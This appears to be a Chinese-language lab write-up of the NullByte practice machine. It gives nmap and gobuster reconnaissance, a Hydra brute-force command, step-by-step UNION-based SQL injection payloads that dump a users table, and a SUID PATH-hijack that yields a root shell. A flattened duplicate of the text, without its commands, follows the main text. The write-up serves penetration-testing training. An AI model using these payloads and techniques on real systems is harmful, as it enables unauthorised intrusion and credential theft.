打靶日记——NullByte
字数 932 2025-08-29 08:29:41

NullByte 靶机渗透测试教学文档

1. 信息收集阶段

1.1 主机发现与端口扫描

使用 nmap 进行初始扫描:

nmap -sV -p- 目标IP

发现开放端口:

  • 80端口:HTTP服务
  • 111端口:RPC服务
  • 777端口:SSH服务(修改了默认22端口)
  • 37200端口:RPC服务

1.2 服务识别与漏洞扫描

使用 nmap 脚本扫描漏洞:

nmap --script vuln 目标IP

未发现可直接利用的漏洞。

2. Web渗透阶段

2.1 初始访问

访问80端口发现一张图片,关键步骤:

  1. 检查图片EXIF信息:
exiftool 图片文件名

发现隐藏字符串,指向网站目录 /kzMb5nVYJw/

2.2 目录扫描

使用工具(如dirb、gobuster)扫描:

gobuster dir -u http://目标IP -w /path/to/wordlist.txt

发现:

  • /phpmyadmin/
  • /uploads/

2.3 密码破解

在发现的目录中找到输入框,通过以下方法破解:

  1. 使用Burp Suite或Hydra进行暴力破解
  2. 推荐Hydra命令:
hydra -l admin -P /usr/share/wordlists/rockyou.txt 目标IP http-post-form "/kzMb5nVYJw/420search.php:usrtosearch=^USER^&submit=Submit:Invalid"

2.4 SQL注入利用

发现SQL注入点,手动注入步骤:

  1. 确定列数:
" order by 3-- 
" order by 4-- 

确定有3列

  1. 联合查询获取信息:
" union select 1,2,3-- 

确定数据显示位置

  1. 获取数据库信息:
" union select database(),version(),3-- 

数据库名:seth,版本>5

  1. 获取表信息:
" union select database(),(select group_concat(table_name) from information_schema.tables where table_schema="seth"),3-- 

发现users表

  1. 获取列信息:
" union select database(),(select group_concat(column_name) from information_schema.columns where table_name="users"),3-- 

列:id, user, pass, position

  1. 获取数据:
" union select (select group_concat(id,0x7e,user,0x7e,pass,0x7e,position) from users),(select group_concat(column_name) from information_schema.columns where table_name="users"),3-- 

发现密码为base64编码,解码后为MD5哈希

3. 系统访问

3.1 SSH登录

使用获取的用户名和密码通过777端口登录:

ssh -p 777 用户名@目标IP

4. 权限提升

4.1 初始检查

检查用户权限:

sudo -l

无sudo权限

4.2 SUID提权

  1. 查找SUID文件:
find / -perm -4000 -type f 2>/dev/null

发现 /var/www/backup/procwatch

  1. 分析文件:
strings /var/www/backup/procwatch

发现调用ps命令

  1. 利用方法:
cd /tmp
ln -s /bin/bash ps
export PATH=/tmp:$PATH
/var/www/backup/procwatch

获得root shell

5. 关键知识点总结

  1. 信息收集:全面扫描端口和服务,注意非常规端口
  2. 隐写分析:检查图片等文件的元数据(EXIF)
  3. 密码破解:合理选择工具(Hydra优于Burp)
  4. SQL注入
    • 手工注入流程
    • 信息收集技巧
    • 数据提取方法
  5. 权限提升
    • SUID利用
    • PATH环境变量劫持
  6. 靶机设计:避免过度依赖隐写等非典型渗透技巧

6. 改进建议

  1. 使用自动化工具(如sqlmap)提高效率:
sqlmap -u "http://目标IP/kzMb5nVYJw/420search.php?usrtosearch=1" --dbs
  1. 提权时可先尝试内核漏洞:
uname -a
searchsploit 内核版本
  1. 建立系统化渗透流程,避免遗漏关键步骤
NullByte 靶机渗透测试教学文档 1. 信息收集阶段 1.1 主机发现与端口扫描 使用 nmap 进行初始扫描: 发现开放端口: 80端口:HTTP服务 111端口:RPC服务 777端口:SSH服务(修改了默认22端口) 37200端口:RPC服务 1.2 服务识别与漏洞扫描 使用 nmap 脚本扫描漏洞: 未发现可直接利用的漏洞。 2. Web渗透阶段 2.1 初始访问 访问80端口发现一张图片,关键步骤: 检查图片EXIF信息: 发现隐藏字符串,指向网站目录 /kzMb5nVYJw/ 2.2 目录扫描 使用工具(如dirb、gobuster)扫描: 发现: /phpmyadmin/ /uploads/ 2.3 密码破解 在发现的目录中找到输入框,通过以下方法破解: 使用Burp Suite或Hydra进行暴力破解 推荐Hydra命令: 2.4 SQL注入利用 发现SQL注入点,手动注入步骤: 确定列数: 确定有3列 联合查询获取信息: 确定数据显示位置 获取数据库信息: 数据库名:seth,版本>5 获取表信息: 发现users表 获取列信息: 列:id, user, pass, position 获取数据: 发现密码为base64编码,解码后为MD5哈希 3. 系统访问 3.1 SSH登录 使用获取的用户名和密码通过777端口登录: 4. 权限提升 4.1 初始检查 检查用户权限: 无sudo权限 4.2 SUID提权 查找SUID文件: 发现 /var/www/backup/procwatch 分析文件: 发现调用 ps 命令 利用方法: 获得root shell 5. 关键知识点总结 信息收集 :全面扫描端口和服务,注意非常规端口 隐写分析 :检查图片等文件的元数据(EXIF) 密码破解 :合理选择工具(Hydra优于Burp) SQL注入 : 手工注入流程 信息收集技巧 数据提取方法 权限提升 : SUID利用 PATH环境变量劫持 靶机设计 :避免过度依赖隐写等非典型渗透技巧 6. 改进建议 使用自动化工具(如sqlmap)提高效率: 提权时可先尝试内核漏洞: 建立系统化渗透流程,避免遗漏关键步骤